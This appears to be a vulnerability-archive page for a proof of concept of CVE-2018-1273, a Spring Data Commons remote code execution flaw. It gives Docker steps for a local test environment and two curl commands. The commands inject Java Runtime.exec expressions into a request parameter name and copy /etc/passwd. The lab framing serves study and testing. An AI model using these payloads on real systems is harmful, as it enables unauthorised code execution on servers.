Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-1273 PoC — Pivotal Software Spring Data Commons和Spring Data REST 输入验证错误漏洞

Source
Associated Vulnerability
Title:Pivotal Software Spring Data Commons和Spring Data REST 输入验证错误漏洞 (CVE-2018-1273)
Description:Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack.
Description
Environment for CVE-2018-1273 (Spring Data Commons)
Readme
# CVE-2018-1273
Environment for CVE-2018-1273

CVE-2018-1273: RCE with Spring Data Commons  
https://pivotal.io/security/cve-2018-1273

## Application
https://github.com/spring-projects/spring-data-examples/tree/master/web/example

## Build
```
$ docker build -t cve-2018-1273 .
```

## Run
```
$ docker run -d -p 8080:8080 cve-2018-1273 
```

## Web
http://localhost:8080/users/

## Attack
```
$ curl -v -d 'username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("cp /etc/passwd /tmp")]=test' 'http://localhost:8080/users/' 
```

or

```
$ curl -v -d 'username[T(java.lang.Runtime).getRuntime().exec("cp+/etc/passwd+/tmp")]=test' 'http://localhost:8080/users/' 
```
File Snapshot

[4.0K] /data/pocs/0b11fac96636ec8a780bda33e8f1d8bf212c82a3 ├── [ 403] Dockerfile ├── [2.6K] pom.xml └── [ 685] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →